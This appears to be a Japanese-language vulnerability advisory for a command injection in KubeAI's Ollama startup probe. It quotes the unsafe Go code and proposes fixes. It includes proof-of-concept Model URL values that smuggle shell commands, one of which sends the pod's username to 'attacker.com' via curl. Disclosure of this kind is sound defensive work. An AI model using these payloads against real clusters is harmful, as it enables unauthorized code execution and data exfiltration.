
OS Command Injection in KubeAI via Model URL in Ollama startup probe — CVSS 8.7
深刻度: 高 (CVSS 8.7)
CWE: CWE-78 — OS コマンドに使用される特殊要素の不適切な無害化
影響を受けるバージョン: github.com/kubeai-project/kubeai <= commit ba1824e
勧告: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
KubeAI は、Go の fmt.Sprintf を介して Model CRD の URL コンポーネント(ref、modelParam)を bash -c コマンドに補間することで、Kubernetes の起動プローブシェルスクリプトを構築します。URL 内のシェルメタ文字はサニタイズされないため、Model CRD の作成/更新 RBAC を持つ任意のユーザーが、クラスター管理者権限なしでモデルサーバーポッド内で任意のコマンドを実行できます。
私は Kubernetes の AI 推論オペレーター(CRD を作成して LLM を K8s ワークロードとしてデプロイできるツール)を調査していました。KubeAI は Ollama、vLLM、その他のエンジンをサポートしています。私の仮説は、「ユーザーが Model CRD を作成できるなら、モデルポッド内で実行される内容に影響を与えられるか」というものでした。
vLLM エンジンのコードはすぐに正しいパターンを示しました。引数は exec に文字列配列として渡され、シェルは関与しません。そこで対比として Ollama エンジンを確認したところ、bash -c に渡される fmt.Sprintf("%s %s", pullCmd, u.ref) を発見しました。典型的なシェルインジェクションの構造です。
URL パーサーの正規表現 [^?]+(? 以外のすべて)が決定打です。セミコロン、バッククォート、$() はすべて u.ref で有効です。私は PoC の YAML を作成して適用し、モデルポッド内で id > /tmp/pwned が実行されるのを確認しました。
この脆弱性を際立たせる点は、マルチテナント K8s クラスターでは、Model CRD の RBAC が明示的にクラスター管理者ではないチームに付与されることが多いことです。これにより、制限された権限を持つテナントがモデルポッド内で任意のコードを実行する直接的な経路を得ることになり、マウントされたシークレットやサービスアカウントトークンへのアクセスも可能になります。これは、K8s の RBAC が強制することになっている権限境界を越えるものです。
ファイル: internal/modelcontroller/engine_ollama.go、185〜196 行目
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref と u.modelParam は Model CRD の URL フィールド由来 — ユーザー制御
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: サニタイズなし
)
// ...
}
この文字列は次のように実行されます:
Command: []string{"bash", "-c", startupProbeScript}
URL パーサー (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// キャプチャグループ 2 ([^?]+) は '?' 以外の任意の文字を許可
// シェルメタ文字 ; | $() ` はすべて有効
vLLM エンジンとの対比(安全):
// engine_vllm.go — 引数は配列として渡され、シェルは関与しない
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Ollama エンジンはショートカットを取っています。複数ステップのシェルパイプラインを文字列として構築し、bash -c に渡しています。vLLM エンジンは exec スタイルの引数配列を使用します。URL フィールドを安全な文字に制限するアドミッションウェブフックや CRD スキーマ検証はありません。
poc.yaml を参照 — Ollama モデルで KubeAI を実行しているクラスターで kubectl apply -f poc.yaml を実行してください。
ベクター 1 — ollama:// URL ref(セミコロンインジェクション):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
生成される起動プローブ:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned が実行され、ポッド内の /tmp/pwned に uid=0(root)... が書き込まれます。
ベクター 2 — ?model= クエリパラメータ(OOB 外部送信):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
生成されるプローブ:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
ポッドのユーザー名が攻撃者制御のサーバーに外部送信されます。
Model CRD の RBAC を持つ任意のユーザーがモデルサーバーポッド内で実行可能bash -c <string> を、引数を配列として渡す exec スタイルのプローブ(vLLM エンジンが既に採用している方式)に置き換えるか、補間前に URL フィールドを ^[a-zA-Z0-9._:/-]+$ に対して検証してください。